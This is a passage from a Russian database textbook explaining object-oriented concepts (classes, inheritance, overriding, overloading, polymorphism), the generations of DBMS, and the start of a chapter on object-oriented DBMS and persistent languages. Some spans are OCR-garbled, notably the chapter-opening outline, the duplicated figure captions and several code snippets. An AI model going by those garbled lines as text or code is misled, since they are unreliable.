update_salary(staff_object, 1000)
Классы
В языке Simula классы играют роль некого шаблона для определения набора подобных объектов. Таким образом, объекты, которые имеют один и тот же набор атрибутов и отвечают на одни и те же сообщения, могут быть сгруппированы вместе с образованием класса. Атрибуты и связанные с ними методы определяются один раз для всего класса, а не отдельно для каждого объекта. Например, все объекты отделений компании описываются единственным классом Branch. Объекты некоторого класса называются его экземплярами (instance). Каждый экземпляр обладает своими собственными значениями каждого из атрибутов, но совместно с другими экземплярами данного класса использует для этих атрибутов одни и те же имена и методы, как показано на рис. 21.2.
В литературе термины “класс” и “тип” часто используются как синонимы, хотя некоторые авторы указывают на различие между ними. Термин “тип” более соответствует понятию абстрактного типа данных (Atkinson and Buneman, 1989). В языках программирования переменная объявляется с указанием ее типа. Компилятор может использовать эту информацию для проверки выполняемых с переменной операций на совместимость с ее типом, что позволяет гарантировать корректность программного обеспечения. С другой стороны, класс является неким шаблоном для создания объектов и предоставляет методы, которые могут применяться к этим объектам. Таким образом, понятие “класс” в большей степени относится ко времени исполнения, чем ко времени компиляции.
В некоторых объектно-ориентированных системах класс также является объектом и обладает своими собственными атрибутами и методами, которые называются атрибутами класса и методами класса соответственно. Атрибуты класса описывают общие характеристики этого класса, например средние или итоговые значения. Например, в классе Branch может быть атрибут класса для общего количества отделений компании. Методы класса используются для изменения или опроса состояния атрибутов класса. Существуют также специальные методы класса для создания новых экземпляров класса и удаления ненужных экземпляров. В объектно-ориентированном языке новый экземпляр обычно создается с помощью команды new. Подобные методы создания и удаления экземпляров с высвобождением занятого ими пространства памяти называют
конструкторами и деструкторами соответственно. Посылаемые методу класса сообщения посылаются классу, а не его экземплярам. При этом предполагается, что класс является экземпляром класса более высокого уровня, который называется метаклассом.
ОПРЕДЕЛЕНИЕ КЛАССАОПРЕДЕЛЕНИЕ КЛАССАЭКЗЕМПЛЯРЫ КЛАССАЭКЗЕМПЛЯРЫ КЛАССАРис. 21.2. Экземпляры класса совместно используют имена атрибутов и методы классаРис. 21.2. Экземпляры класса совместно используют имена атрибутов и методы класса
ОПРЕДЕЛЕНИЕ КЛАССА
ОПРЕДЕЛЕНИЕ КЛАССА
ЭКЗЕМПЛЯРЫ КЛАССА
ЭКЗЕМПЛЯРЫ КЛАССА
Рис. 21.2. Экземпляры класса совместно используют имена атрибутов и методы класса
Рис. 21.2. Экземпляры класса совместно используют имена атрибутов и методы класса
Подклассы, суперклассы и наследование
Некоторые объекты могут иметь подобные, но не идентичные атрибуты и методы. Если степень такого подобия достаточно высока, то имеет смысл совместно использовать некоторые свойства (атрибуты и методы). Наследование (inheritance) позволяет определять один класс на основе более общего класса. Такие менее общие классы называются подклассами, а более общие — суперклассами. Процесс образования суперкласса называется обобщением (generalization), а процесс образования подкласса — специализацией. По умолчанию подкласс наследует все свойства его суперкласса и в дополнение к ним определяет свои собственные уникальные свойства. Однако, как мы вскоре увидим, подкласс также может переопределять унаследованные методы. Все экземпляры подкласса являются также экземплярами суперкласса. Более того, согласно принципу подстановки, для любого метода и конструкции вместо экземпляра суперкласса всегда можно использовать экземпляр его подкласса.
Понятия подкласса, суперкласса и наследования аналогичны таким же понятиям, которые рассматривались в модели типа сущность-связь в разделе 5.4, за исключением того, что в объектно-ориентированной парадигме наследование относится как к состоянию, так и к поведению. Связь между подклассом и суперклассом обычно называется связью типа АКО (A KIND OF), например суперкласс Manager связан с подклассом Staff связью АКО. Связь между экземпляром и его классом иногда называют связью типа IS-А, например экземпляр Susan Brand связан с классом Manager связью IS-A.
Существует несколько видов наследования: единичное (single inheritance), множественное (multiple inheritance), повторное (repeated inheritance) и избирательное (selective inheritance). На рис. 21.3 показан пример единичного наследования, когда
подклассы Manager и Sales_Staff наследуют свойства суперкласса Staff. Термин “единичное наследование” означает, что подклассы наследуют не более чем от одного суперкласса. Суперкласс Staff сам по себе может быть подклассом суперкласса Person, образуя, таким образом, иерархию классов.
На рис. 21.4 показан пример множественного наследования, когда подкласс Sales^Manager наследует свойства суперклассов Manager и Sales_Staff. Организация механизма множественного наследования может оказаться очень проблематичной, потому что он должен обеспечить разрешение конфликтов, которые возникают в случаях, когда суперклассы содержат одинаковые атрибуты или методы. Не во всех объектно-ориентированных языках и системах баз данных принципиально поддерживается множественное наследование. Некоторые авторы заявляют, что множественное наследование привносит дополнительный уровень сложности, для которого достаточно трудно организовать безопасный и непротиворечивый способ управления. Другие авторы возражают и полагают, что это крайне необходимо для моделирования реальной ситуации, как показано в следующем примере. В языках с поддержкой множественного наследования эти конфликты можно разрешать с помощью перечисленных ниже способов.
Рис. 2L3. Пример единичного наследованияРис. 2L3. Пример единичного наследованияРис. 21.4. Пример множественного наследованияРис. 21.4. Пример множественного наследования
Рис. 2L3. Пример единичного наследования
Рис. 2L3. Пример единичного наследования
Рис. 21.4. Пример множественного наследования
Рис. 21.4. Пример множественного наследования
Используя имена обоих атрибутов, где в качестве идентификатора используется имя суперкласса. Например, если Bonus (премия) является атрибутом суперклассов Manager и Sales^Staff, то подкласс Sales_Manacer может унаследовать атрибут Bonus от обоих суперклассов и идентифицировать их экземпляры в подклассе Sales_Manager как Manager.Bonus или как Sales_Staff .Bonus.
Линеаризируя иерархию наследования и используя единичное наследование для разрешения конфликтов. На основе этого подхода иерархия наследования, представленная на рис. 21.4, может быть интерпретирована следующим образом: Salesjtanager ~> Manager -> Sales^Staff или
Sales_Manager -ч Sales_Staff -> Manager
Если обратиться к предыдущему примеру, то теперь подкласс Sales_Manager наследует один экземпляр атрибута Bonus, который в первом случае происходит от суперкласса Manager, а во втором — от суперкласса Sales_Staff.
Требуя от пользователя переопределить конфликтующий атрибут или метод.
Подавая сообщение об ошибке и запрещая такое определение до тех пор, пока конфликт не будет разрешен.
Повторное наследование — это особый случай множественного наследования, в котором суперклассы происходят от общего суперкласса. Расширяя предыдущий пример, предположим, что классы Manager и Sales_Staff могут наследовать свойства от общего суперкласса Staff так, как показано на рис. 21.5. В этом случае механизм наследования должен гарантировать отсутствие двойного наследования подклассом Sales_Manager свойств класса Staff. Для разрешения конфликтов могут использоваться те же способы, что и в случае множественного наследования.
Рис. 21,5. Пример повторного наследования
Селективное наследование позволяет подклассу наследовать ограниченное количество свойств его суперкласса. Такой подход предоставляет функциональные возможности, аналогичные механизму создания представлений (см. раздел 14.1), разрешая ограничить доступ только некоторыми из имеющихся атрибутов суперкласса.
Переопределение
Как только что упоминалось, свойства, а именно атрибуты и методы, автоматически наследуются подклассами от их суперклассов. Однако свойство суперкласса в подклассе можно определить заново. В этом случае используется именно то определение свойства, которое приводится в подклассе, а сам этот процесс называется переопределением. Например, в классе Staff может быть определен метод повышения зарплаты за счет выплаты комиссионных.
method void give_commission(float branch_profit)
{
salary = salary + 0.02 * branch_profit;
}
Однако для класса Manager может потребоваться выполнять те же расчеты исходя из другого процента комиссионных. Это можно сделать за счет переопределения метода Give_Commission в самом подклассе Manager.
method void give_commission(float branch_profit)
{
salary = salary + 0.05 * branch_profit;
}
Способность сокращения количества общих свойств нескольких классов за счет переноса их во вновь образованные для этого суперклассы и их последующего совместного использования существенно сократит избыточность данных внутри системы, а потому может рассматриваться как одно из основных преимуществ объектноориентированного подхода. Возможность переопределения является важной характеристикой наследования, поскольку позволяет легко управлять отдельными классами с минимальным влиянием на остальную часть системы.
Перегрузка
Замена является частным случаем более общего понятия перегрузки (overloading). Перегрузка позволяет повторно использовать имя метода внутри определения класса и определений нескольких классов. Это значит, что одно сообщение может выполнять разные функции, в зависимости от того, какой объект получает его и какие параметры получает метод (если таковые имеются). Например, многие классы могут иметь один и тот же метод, предназначенный для распечатки сведений о разных объектах, как показано в листингах 21.2 и 21.3.
Листинг 21.2. Метод распечатки для объекта Branch
method void print( ) {
printf("Branch number: %s\n", bno);
printf("Street: %s\n", street);
printf("Area: %s\n", area);
printf("City; %s\n", city);
printf("Postcode: %s\n", post_code);
printf("Telephone number: %s\n", tel_no);
printf("Fax number; %s\n", fax_no);
}
Листинг 21.3. Перегрузка метода распечатки для объекта Staff
method void print( ) {
printf("Staff number: %s\n", sno);
printf("First name: %s\n", fname);
printf("Last name: %s\n", Iname);
printf("Address: %s\n", address);
printf("Telephone number: %s\n", tel_no);
printf("Position: %s\n", position);
printf("Sex: %c\n", sex);
printf("Date of birth: %s\n", dob);
printf("Salary: %f\n", salary);
printf("NI number: %s\n", nin);
}
Перегрузка может существенно упростить приложение, поскольку позволяет использовать одно и то же имя для одной и той же операции, независимо от того класса, в котором она представлена. Таким образом, конкретное значение этой операции определяется на основе контекста. Это позволяет избежать необходимости постоянно создавать уникальные имена для методов (например, Print_Branch_Details и Print_Staff_Details), которые выполняют практически те же функции.
Полиморфизм и динамическое связывание
Перегрузка является частным случаем более общего понятия полиморфизма (polymorphism в переводе с греческого означает “имеющий несколько форм”). Существуют три типа полиморфизма: рабочий, включения и параметрический (Cardelli and Wegner, 1985). Перегрузка, показанная в предыдущем примере, является примером рабочего полиморфизма (operation polymorphism). Метод, определенный в суперклассе и унаследованный в его подклассе, является примером полиморфизма включения (inclusion polymorphism). Параметрический полиморфизм
(parametric polymorphism), или универсальность (genericity), означает использование типов в качестве параметров в объявлениях универсального типа или класса, например, как показано ниже:
template <type Т>
Т тах(х:Т, у:Т) {
if(x>y) return х; else
return у;
}
Это объявление определяет универсальную функцию Мах, которая принимает два параметра типа Т и возвращает максимальное значение для этих двух величин. Эта часть кода на самом деле не определяет никаких методов. Это универсальное описание скорее действует как шаблон для последующего определения одного или нескольких методов разных типов. Фактически методы инициализируются следующим образом: int max(int, int) //инициализация функции max для целочисленного типа real max(real, real) //инициализация функции max для действительного типа
Процесс выбора соответствующего метода, основанный на типе объекта, называется связыванием (binding). Если определение типа объекта может быть отложено до наступления времени исполнения (а не во время компиляции), то такой выбор называется динамическим (dynamic), или поздним (late), связыванием. Например, рассмотрим иерархию класса Staff с подклассами Manager и Sales_Staff, показанную на рис. 21.3. Предположим, что каждый класс имеет собственный метод печати соответствующих результатов. Далее допустим, что у нас есть список, состоящий из произвольного количества (например, п) объектов этой иерархии. В традиционных языках программирования для организации печати этого списка потребуется использовать оператор CASE или вложенный оператор IF:
FOR i=l ТО n DO
SWITCH(list(i), type)
{
CASE staff:print_staff_details(list[i].object); break;
CASE manager:print_manager_details(list[i].object); break;
CASE sales_person: print_sales_person_details(list[i].object); break;
}
Если в список добавляется новый тип, то эту конструкцию с участием оператора CASE потребуется расширить для управления новым типом, принудительно вызывая перекомпиляцию этой части программного обеспечения. Однако если в языке поддерживается динамическое связывание и перегрузка, то можно использовать перегрузку методов печати, используя одно и то же имя метода Print и заменяя оператор CASE следующей строкой: list(i].print
Более того, используя этот подход, можно добавлять в список произвольное количество новых типов при условии, что по-прежнему применяется перегрузка метода Print без какой-либо перекомпиляции кода. Таким образом, концепция полиморфизма ортогональна концепции наследования.
Составные объекты
Часто возникают ситуации, когда объект состоит из подчиненных объектов, или компонентов. Составным объектом называется объект, который выглядит как единый объект в реальном мире, но содержит в себе другие объекты в виде набора составных связей типа A-PART-OF, или АРО (часть чего-то). Такие встроенные объекты сами могут быть составными с образованием иерархии типа АРО. В объектно-
ориентированной системе встроенные объекты можно применять одним из следующих двух способов. Во-первых, за счет инкапсуляции внутри составного объекта с образованием части составного объекта. В этом случае структура встроенного объекта образует часть составного объекта и доступ к ней можно получить только с помощью методов составного объекта. Во-вторых, встроенный объект может рассматриваться как независимый от составного объекта. И в этом случае в родительском объекте хранится не сам объект, а лишь его ODI-идентификатор. Такой способ называется совместным использованием ссылок (referential sharing) (Khoshafian and Valduriez, 1987). Встроенный объект обладает своей собственной структурой и методами, а также может принадлежать нескольким родительским объектам.
Эти типы составных объектов иногда называют структурированными составными объектами, так как их состав известен системе. Термин неструктурированный составной объект используется для ссылки на составной объект, чья структура может интерпретироваться только прикладной программой. В контексте баз данных неструктурированные составные объекты иногда называются большими бинарными объектами, или BLOB-объектами (см. раздел 21.2).
Базы данных следующего поколения
В конце 60-х - начале 70-х годов существовали два основных подхода к созданию СУБД. Первый был основан на иерархической модели данных, типичным представителем которого является система IMS (Information Management System) фирмы IBM. Она появилась в результате повышенных требований, предъявляемых к огромному хранилищу информации, использовавшемуся во время выполнения программы Apollo, связанной с полетом человека на Луну. Второй подход был основан на сетевой модели данных, на основе которой предпринимались попытки создания стандарта базы данных и устранения таких недостатков иерархической модели, как, например, невозможность эффективного представления составных связей. Вместе оба этих подхода образуют первое поколение СУБД. Однако указанные модели обладают следующими фундаментальными недостатками.
Для ответа даже на очень простые запросы с доступом лишь к некоторым записям приходится создавать очень сложные программы.
Независимость от данных поддерживается в минимальной степени.
Для них не существует общепринятого теоретического основания.
В 1970 году Кодд опубликовал основополагающую статью о реляционной модели данных. Эта статья появилась в нужное время и помогла впоследствии избежать недостатков прежних подходов, в частности обеспечить независимость от данных. Позднее было создано много экспериментальных реляционных СУБД, а первые коммерческие продукты появились в конце 70-х - начале 80-х годов. В настоящее время существует около 100 реляционных СУБД для мейнфреймов и персональных компьютеров, хотя для многих из них определение реляционной модели используется с некоторой натяжкой. Реляционные СУБД принято называть СУБД второго поколения.
Однако, как уже указывалось в разделе 21.2, реляционным СУБД также свойственны определенные недостатки, в частности ограниченные возможности моделирования. В течение многих лет для исследования методов решения этой проблемы прилагались значительные усилия. В 1976 году Чен представил модель типа сущность- связь, которая в настоящее время является широко принятой технологией проектирования баз данных и основой методологии, представленной в главах 7, “Методология концептуального проектирования баз данных”, и 8, “Методология логического проектирования реляционных баз данных”, этой книги (Chen, 1976). В 1979 году Кодд попытался устранить некоторые недостатки своей исходной работы в предложенной им расширенной реляционной модели RM/T (Codd, 1979), а позднее — с помощью модели RM/V2 (Codd, 1990). Попытки создания модели данных для наиболее реалистичного представления “реального мира” получили название семантического моделирования данных. Ниже перечислены наиболее известные из них.
Семантическая модель данных (Hammer and McLeod, 1981).
Функциональная модель данных (Shipman, 1981).
Семантическая ассоциативная модель* (Su, 1983).
В ответ на все возрастающую сложность приложений баз данных появились две “новые” модели: объектно-ориентированная модель данных (Object-Oriented Data Model — OODM) и объектно-реляционная модель данных (Object-Relational Data Model — ORDM), которая прежде называлась расширенной реляционной моделью данных (Extended Relational Data Model — ERDM). Однако, в отличие от предыдущих моделей, фактический состав этих моделей еще не совсем ясен. Обе эти модели представляют СУБД третьего поколения, что схематически показано на рис. 21.6.
Рис. 21.6. Историческая схема появления различных концепций моделей данных
Между сторонниками ООСУБД и РСУБД продолжаются горячие споры, которые напоминают дискуссии о сетевой и реляционной моделях в 70-е годы. Обе стороны согласны, что реляционные СУБД в их современном состоянии не адекватны для определенных типов приложений. Однако обе группы сторонников предлагают разные варианты наилучшего решения. Сторонники ООСУБД заявляют, что реляционные СУБД удовлетворительно решают задачи стандартных бизнес-приложений, но в них отсутствуют инструменты решения более сложных приложений. Тогда как поклонники реляционных систем заявляют, что реляционная технология является необходимой частью любой реальной СУБД, а для сложных приложений можно использовать необходимые расширения реляционной модели. В настоящее время еще не совсем ясно: какая из двух сторон одержит победу в этом споре и какая система станет доминантной, причем не исключено, что каждая из них может найти свою собственную нишу на рынке. Конечно, если ООСУБД станут доминантными, то они должны изменить сложившийся у них имидж систем, предназначенных исключительно для сложных приложений, и стать системами, которые также можно использовать для стандартных бизнес- приложений с теми же инструментами и той же легкостью использования, какой обладают их реляционные собратья. В частности, в них должен поддерживаться декларативный язык запросов, совместимый с языком SQL. Следующая глава посвящена более подробному обсуждению ООСУБД, а идущая за ней — рассмотрению ОРСУБД.
Резюме
Сложные специализированные приложения баз данных включают CAD- системы автоматизированного проектирования (Computer-Aided Design — CAD), CAM-системы автоматизированного производства (Computer-Aided Manufacturing — САМ), CASE-системы автоматизированной разработки программного обеспечения (Computer-Aided Software Engineering — CASE), офисные информационные системы (Office Information System — OSI), цифровые издательские и геоинформационные системы (Geographic Information Systems — GIS), а также приложения co сложными и взаимосвязанными объектами и процедурными данными. Ограниченные возможности реляционных СУБД с точки зрения моделирования объектов реального мира сделали их непригодными для сложных специализированных приложений баз данных.
Понятие инкапсуляции означает, что объект содержит структуру данных и набор операций, которые могут использоваться для работы с ними. Понятие сокрытие информации означает, что внешние аспекты объекта отделены от его внутренних деталей, которые скрыты от внешнего мира.
Объект — это уникально идентифицируемая сущность, которая содержит атрибуты, описывающие состояние объекта реального мира, и связанные с ними действия. Объекты также могут содержать другие объекты. Ключевой частью определения объекта является уникальный идентификатор. В объектноориентированной системе каждый объект обладает уникальным в масштабе системы идентификатором, который не зависит от значений его атрибутов и в идеале скрыт от пользователя.
Методы определяют поведение объекта. Они могут использоваться для изменения состояния объекта за счет изменения значений атрибутов или для создания запроса по отношению к определенным значениям избранных атрибутов. Сообщениями называются средства, с помощью которых объекты взаимодействуют между собой. Сообщение — это просто запрос одного объекта (отправителя) к другому (получателю), в котором второму объекту предлагается выполнить один из его методов. Причем один и тот же объект может играть роль отправителя и получателя одновременно.
Объекты, которые имеют одинаковые атрибуты и отвечают на одни и те же сообщения, могут быть сгруппированы вместе с образованием класса. Таким образом, атрибуты и связанные с ними методы могут быть определены лишь один раз в классе, а не отдельно в каждом объекте. Класс также является объектом и обладает своими собственными атрибутами и методами, которые называются атрибутами класса и методами класса соответственно. Атрибуты класса описывают такие общие характеристики класса, как, например, итоговые и средние значения, вычисленные для всех его существующих экземпляров.
Наследование позволяет определить один класс как частный случай более общего класса. Эти частные случаи называются подклассами, а общие — суперклассами. Процесс образования суперкласса называется обобщением, а образования подкласса — специализацией. Подкласс наследует все свойства своего суперкласса и дополнительно определяет свои собственные уникальные свойства. Все экземпляры подкласса также являются экземплярами, суперкласса. Принцип подстановки гласит, что экземпляр подкласса всегда может использоваться любым методом или в любой конструкции, где используется экземпляр суперкласса.
Перегрузка позволяет повторно использовать имя метода внутри определения класса или среди нескольких определений классов. Переопределение, которое является частным случаем перегрузки, позволяет заново определять свойства имени в некотором подклассе. Динамическое связывание позволяет откладывать определение типа объекта и методов, которые будут использоваться, вплоть до времени выполнения программы.
■ В ответ на все возрастающую сложность приложений баз данных появились две “новые” модели данных: объектно-ориентированная модель данных и объектно-реляционная модель данных. Однако, в отличие от предыдущих моделей, фактический состав этих моделей на настоящий момент не совсем ясен. Этот этап эволюции представляет собой СУБД третьего поколения.
Вопросы'
Опишите общие характеристики усовершенствованных приложений баз данных.
Поясните, почему слабость реляционной модели данных и реляционных СУБД делают их непригодными для создания сложных специализированных приложений баз данных.
Объясните каждую из перечисленных ниже концепций в контексте объектной модели данных:
абстракция, инкапсуляция и сокрытие информации;
объекты и атрибуты;
идентификатор объекта;
методы и сообщения;
классы, подклассы, суперклассы и наследование;
перегрузка;
полиморфизм и динамическое связывание.
Приведите необходимые примеры, используя данные учебного проекта DreamHome, представленные в табл. 3.3 - 3.8.
Упражнения
Исследуйте одно из сложных специализированных приложений баз данных, которые рассматриваются в разделе 21.1, или аналогичного приложения, управляющего сложными взаимосвязанными данными. В частности, исследуйте его функциональность, а также типы данных и операции, применяемые для работы с ними. Укажите соответствие между типами данных и операциями с объектноориентированными концепциями, рассматриваемыми в разделе 21.3.
Проанализируйте реляционную СУБД, которой вы пользуетесь в настоящее время. Рассмотрите объектно-ориентированные компоненты, имеющиеся в этой системе. Какие дополнительные функциональные возможности предлагаются в ней?
Предложите состав атрибутов и методов для классов Branch, Staff и Property _for_Rent из учебного проекта DreamHome, представленного в разделе 1.7.
Объектно-
ориентированные СУБД
он главе...„
ожения объектной модели данных.
ииперманентных языков программирования.
Стегай развития ООСУБД.,
двухуровневой моделью хранения,%>и в традиционных СУБД, и одноуровневой .Используемой в ООСУБД.'
чия в способах доступа к записи в традиционной СУБД^|^<;-ДЪйгуПа к объекту во вторичной памяти в ООСУБД.$£!|ацествующие схемы обеспечения перманентности в языках■^’^программирования.' ^■ .'•
1реимущества и недостатки рртогональной перманентности/ к работает технология подстановки указателей.
Некоторые аспекты построенияООСУБД, включая расши-• репные .модели работы, с транзакциями, контроль версий,А^евая" ' ’ Схемы’ц^дхитектуру ООбУБД ./.,
ва ива и;Пре;ПреЗки, свойственные ООСУБД,
ва и
ва и
;Пре
;Пре
оложенияДокумента “Манифест ООСУБД”,проектирования объектно-ориентированных баз данных.
i положения нового стандарта объектно-
^^гированных баз данных разработки группы ODMG.
В предыдущей главе кратко обсуждались недостатки реляционной модели данных в отношении требований, предъявляемых новыми типами сложных специализированных приложений баз данных. Кроме того, в ней были бегло рассмотрены концепции объектно-ориентированного подхода, которые очень перспективны для решения некоторых классических задач разработки программного обеспечения. Ниже перечислены некоторые преимущества, которые часто цитируются в поддержку объектно-ориентированного подхода.
Определение системы на основе объектов упрощает создание программных компонентов, которые очень близко имитируют область их применения, облегчая таким образом понимание особенностей системы и ее проектирование.
Благодаря инкапсуляции и сокрытию информации, использование объектов и сообщений способствует модульному проектированию, поскольку реализация одного объекта зависит не от внутренних особенностей других объектов, а только от типа их реакции на те или иные сообщения. Более того, условие модульности накладывается принудительно, а потому позволяет создавать более надежное программное обеспечение.
Использование классов и механизма наследования способствует разработке повторно используемых и расширяемых компонентов при создании новых или модернизации существующих систем.
В этой главе основное внимание уделяется особенностям одного из подходов к интеграции объектно-ориентированных концепций с системами управления базами данных, а именно объектно-ориентированным системам управления базами данных (ООСУБД). ООСУБД появились сначала в инженерно-конструкторских приложениях и только недавно получили признание у разработчиков финансовых и телекоммуникационных приложений. Хотя доля рынка ООСУБД все еще остается очень малой (приблизительно 3% от общего рынка баз данных в 1997 году), тем не менее ООСУБД продолжают находить все новые области применения, например в World Wide Web. Действительно, по оценкам некоторых аналитиков, рынок ООСУБД ежегодно будет возрастать на 50%, что выше темпов роста всего рынка баз данных в целом.
Структура этой главы
В разделе 22.1 предлагается введение в объектно-ориентированные модели данных и перманентные языки программирования, а также обсуждается, почему, в отличие от реляционной модели данных, общепризнанной объектной модели данных не существует. Здесь же рассматриваются различные подходы, которые могут быть использованы для создания ООСУБД. В разделе 22.2 рассматриваются различия между двухуровневой моделью хранения данных в традиционных СУБД и одноуровневой моделью хранения объектов в ООСУБД, а также влияние модели хранения на способ доступа к данным. В разделе 22.3 обсуждаются разнообразные подходы к обеспечению перманентности языков программирования и разные методы подстановки указателей. В разделе 22.4 рассматриваются некоторые дополнительные вопросы, связанные с ООСУБД: расширенные модели обработки транзакций, контроль версий, эволюция схемы и возможная архитектура ООСУБД. В разделе 22.5 кратко обсуждается “Манифест объектно-ориентированных баз данных”, содержащий описание 13-ти обязательных функций, которые должна предоставлять любая ООСУБД. В разделе 22.6 кратко рассматриваются преимущества и недостатки ООСУБД, а в разделе 22.7 обсуждаются способы расширения методологии концептуального и логического проектирования базы данных, описанной в главах 8 и 9, для проектирования объектно-ориентированных баз данных. Завершается эта глава обсуждением новой объектной модели, предложенной группой Object Management Group (ODMG), которая в настоящее время фактически уже стала стандартом для существующих ООСУБД.
Отклонение от традиционной реляционной модели данных иногда называется революционным способом интеграции объектно-ориентированных концепций с базами данных. В противоположность этому в следующей главе будет рассмотрен более эво-
люционный способ интеграции объектно-ориентированных концепций с системами баз данных, основанный на расширении реляционной модели. Такие системы называются объектно реляционными СУБД (ОРСУБД), хотя раньше они назывались расширенно-реляционными СУБД,
Предполагается, что при чтении этой главы читатель уже будет знаком с содержанием главы 21, “Введение в объектные СУБД”. Все примеры в этой главе взяты из учебного проекта DreamHome, описанного в разделе 1.7.
Введение в объектно-ориентированные модели данных и СУБД
В этом разделе рассматриваются различные определения, которые были предложены для объектно-ориентированной модели данных. В частности, Ким предложил следующие определения для объектно-ориентированной модели данных (ООМД), объектно-ориентированной базы данных (ООБД) и объектно-ориентированной СУБД (ООСУБД) (Kim, 1991).
ООМД
(Логическая) модель данных, которая учитывает семантику объектов, применяемую в объектно-ориентированном программировании.
ООДБ
Перманентный, совместно используемый набор (коллекция) объектов, определенный средствами ООМД.
ООСУБД Система управления (менеджер) ООДБ.
Эти определения очень ненаглядны и явно отражают тот факт, что не существует никакой объектно-ориентированной модели данных, эквивалентной базовой модели данных для реляционных систем. В каждой системе предлагается своя собственная интерпретация базовой функциональности. Например, Здоник и Майер предложили следующую минимальную модель, которой обязательно должна удовлетворять любая ООСУБД (Zdonik and Maier, 1990).
Обеспечивать функциональность базы данных.
Поддерживать идентичность объекта.
Обеспечивать инкапсуляцию.
Поддерживать объекты со сложным состоянием.
Упомянутые авторы утверждают, что, несмотря на возможную полезность, механизм наследования не является существенной частью определения, а потому объектно-ориентированная СУБД вполне могла бы существовать и без него. С другой стороны, Хошафян и Абноус предложили собственное определение объектноориентированной СУБД (Khoshafian and Abnous, 1990).
“Объектно-ориентированный подход” = “абстрактные типы данных” + “наследование” 4- “идентичность объектов”.
“Объектно-ориентированная СУБД” = “объектно-ориентированный подход” + “возможности базы данных”.
Ниже приводится еще одно определение ООСУБД, построенное посредством указания ее обязательных компонентов (Parsaye et al., 1989).
Высокоуровневый язык запросов со средствами оптимизации, реализованными в базовой системе.
Поддержка перманентности и сохранение атомарности транзакций, обеспечиваемые механизмами управления параллельностью и восстановлением.
Поддержка сложных объектных хранилищ, индексов и методов доступа, предназначенных для быстрого и эффективного извлечения данных.
“Объектно-ориентированная СУБД” = “объектно-ориентированная система” + “условия пунктов 1, 2 и 3”.
Изучая некоторые коммерческие ООСУБД, например GemStone фирмы GemStone Systems Inc. (ранее Servio Logic Corporation), Itasca фирмы Itasca Systems Inc., Objectivity/DB фирмы Objectivity Inc., Objectstore фирмы Object Design Inc., Ontos фирмы Ontos Inc., 02 фирмы 02 Technology, Poet фирмы Poet Software и Versant фирмы Versant Object Technology, можно обнаружить, что концепции объектно-ориентированных моделей данных выведены из разных областей, как показано на рис. 22.1.
Рис. 22.1. Происхождение объектно-ориентированной модели данных
В разделе 22.8 представлена объектная модель, предложенная группой Object Management Group (0DMG), которую предполагают использовать многие фирмы- разработчики. Объектная модель 0DMG имеет большое значение, поскольку в ней определяется стандартная модель семантики объектов базы данных и поддерживается возможность взаимодействия между совместимыми ООСУБД.
Перманентные языки программирования
Прежде чем приступить к подробному изучению ООСУБД, мы кратко рассмотрим основы интересной, но совершенно отдельной области разработки программного обеспечения, известной под названием перманентные языки программирования.
Перманентный Язык, который позволяет его пользователям (прозрачно) со- языкхранять данные непосредственно при последовательном вы-
программирования полнении программы, после чего эти данные смогут исполь-зоваться и многими другими программами.
Данные в перманентном языке программирования не зависят ни от какой программы и способны существовать помимо времени исполнения программы, их создающей. Изначально такие языки программирования не предназначались для поддержки полной функциональности базы данных или для обеспечения доступа к данным со стороны нескольких языков программирования (Cattell, 1994).
Язык Язык, в котором интегрируются некоторые идеи, взятые как программирования из модели программирования баз данных, так и из концеп- базы данных ций традиционных языков программирования.
И наоборот, язык программирования базы данных отличается от перманентного языка программирования тем, что, помимо перманентности, он также обеспечивает такие функции, как управление транзакциями, параллельностью и восстановлением. (Bancilhon and Buneman, 1990). Как уже говорилось в разделе 14.5, в последнем стандарте ISO, SQL2, указано, что язык SQL может быть встроен в такие языки программирования, как С, Fortran, Pascal, COBOL, Ada, MUMPS и PL/1. Коммуникационная связь между ними осуществляется с помощью набора переменных базового языка, а специальный препроцессор модифицирует исходный код с целью замены SQL-выражений вызовами подпрограмм СУБД. Затем исходный код может быть откомпилирован и скомпонован обычным способом. В альтернативном варианте создается интерфейс API, позволяющий избежать любой предварительной компиляции. Хотя встроенный подход организован несколько громоздко, он полезен и необходим, так как текущая версия стандарта SQL2 не обладает вычислительной полнотой. Проблемы, связанные с использованием двух разных языковых парадигм, обычно называют проблемой несоответствия (impedance mismatch) между прикладным языком программирования и языком запросов базы данных (см. раздел 22.1). Считается, что почти 30% усилий и кода расходуется на преобразование данных из формата базы данных или формата файлов к формату, пригодному для внутреннего использования программой, и наоборот (Atkinson et al., 1983). Придание языку программирования свойства перманентности освобождает программиста от ответственности за эти операции.
Исследователи, работающие над развитием перманентных языков программирования, в основном преследовали следующие цели (Morrison et al., 1994).
Повышение производительности программирования за счет использования более простой семантики.
Устранение нерегламентированного расположения данных при трансляции данных и их долговременном хранении.
Обеспечение механизма защиты для всей среды.
В перманентных языках программирования предпринимается попытка решить проблему несоответствия за счет расширения возможностей языка программирования функциональностью базы данных. Система типов перманентного языка программирования предоставляет модель данных, которая обычно включает богатые механизмы структурирования. В некоторых языках, например в Ps-Algol и Napier88, процедуры являются объектами “первого класса” и рассматриваются как любые другие объекты данных языка. В частности, процедуры могут присваиваться как значение, могут являться результатом вычисления выражений, выполнения других процедур или блоков, а также быть элементами типов-конструкторов. Помимо прочего, процедуры могут использоваться для реализации абстрактных типов данных. Процесс импорта абстрактного типа данных из постоянного хранилища и динамическое связывание его с программой эквивалентны компоновке модулей в более традиционных языках программирования.
Второй важной целью создания перманентных языков программирования является поддержание такого же представления данных в области памяти приложения, какое они имеют в постоянном хранилище, размещенном во вторичной памяти. Это позволяет преодолеть излишние трудности и устранить накладные расходы, связанные с преобразованиями между этими двумя представлениями данных.
Добавление в язык программирования (прозрачной) перманентности является важным усовершенствованием интерактивной среды разработки, а интеграция этих двух парадигм обеспечивает повышенные функциональные и семантические возможности. Исследования, проведенные в области перманентных языков программирования, оказали значительное влияние на разработку ООСУБД, а потому многие вопросы, рассмотренные в разделах 22.2-22.4, в равной степени относятся к перманентным языкам программирования и ООСУБД. Иногда вместо термина “перманентный язык программирования” используется более общий термин перманентная прикладная система (Persistent Application System — PAS) (Atkinson and Morrison, 1995).
Альтернативные стратегии разработки ООСУБД
Существует несколько подходов для разработки ООСУБД, которые кратко могут быть определены следующим образом (Khoshafian and Abnous, 1990).
Расширение существующего объектно-ориентированного языка программирования возможностями работы с базой данных. В этом подходе традиционные функции базы данных добавляются в существующие объектноориентированные языки программирования, подобные Smalltalk, C++ или Java (см. рис. 22.1). Подобный подход используется в продукте GemStone, в котором расширяются возможности именно этих трех языков.
